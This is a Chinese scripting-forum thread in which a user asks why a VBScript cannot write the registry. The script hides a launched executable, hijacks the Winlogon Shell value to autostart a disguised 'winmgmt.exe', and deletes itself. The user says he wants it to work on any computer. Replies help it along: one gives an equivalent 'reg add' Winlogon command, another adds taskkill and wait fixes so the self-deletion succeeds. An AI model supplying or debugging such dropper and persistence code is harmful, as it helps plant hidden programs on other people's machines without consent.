[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

VBS写入注册表为何提示没有权限?

怎么不能写入注册表呢 提示没有权限!
脚本如下:
  1. dim wsh
  2. set wsh=CreateObject("WScript.Shell")
  3. wsh.run "%windir%\zhuceji.exe",0
  4. set sm=Wscript.CreateObject("WScript.Shell")
  5. sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
  6. set WshShell=WScript.CreateObject("WScript.Shell")
  7. WScript.Sleep 2000
  8. Set fso=CreateObject("Scripting.FileSystemObject")
  9. f=fso.DeleteFile ("zhuceji.exe")
  10. f=fso.DeleteFile (WScript.ScriptName)
复制代码

哦  意思是不提示错误了 但是他不能开机自启动

TOP

“现在是可以了 就是不能写入注册表”能否说说这句话是什么意思?
Do All in Command Line

TOP

呵呵 现在是可以了 就是不能写入注册表

开机提示下图:

TOP

在CMD窗口里面运行这个命令结果如何?
  1. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "Explorer.exe %systemroot%\system32\winmgmt.exe" /f
复制代码
Do All in Command Line

TOP

谢谢谢谢  !!!!! 可是他无法写入注册表!

TOP

请先看清楚错误提示:
错误行9
字符 1
错误 没有权限
它是说你没有删除文件的权限,而不是操作注册表的权限。 简单推测错误原因是你的 zhuceji.exe 仍然在运行中,因此不能删除。 如果你的 zhuceji.exe 是运行后自动退出的,可以把第三行改成
  1. wsh.run "%windir%\zhuceji.exe",0,true
复制代码
如果不是,在你的 WScript.Sleep 2000 下面加上结束进程的代码
  1. WScript.Sleep 2000
  2. wsh.run "taskkill /f /im zhuceji.exe",0,true
  3. WScript.Sleep 300
复制代码

TOP

说说啊 朋友们?“等着呢

TOP

我是想在任何一台电脑上都有权限写入注册表啊!

TOP

右键单击Winlogon,权限,结果贴出来看看。
Do All in Command Line

TOP

晕了 怎么没有最后一项呢

TOP

打开注册表编辑器,看看以下分支的读写是怎样的,截图上来看看。
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Do All in Command Line

TOP

h

这个倒没试 !在我的电脑上,第一次可以 ,后来就不可以了

TOP

出错的时候,有没有杀软或者注册表包含软件在运行?
在别人电脑上也是有时行有时不行?
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

是啊 还有办法修改吗

TOP

返回列表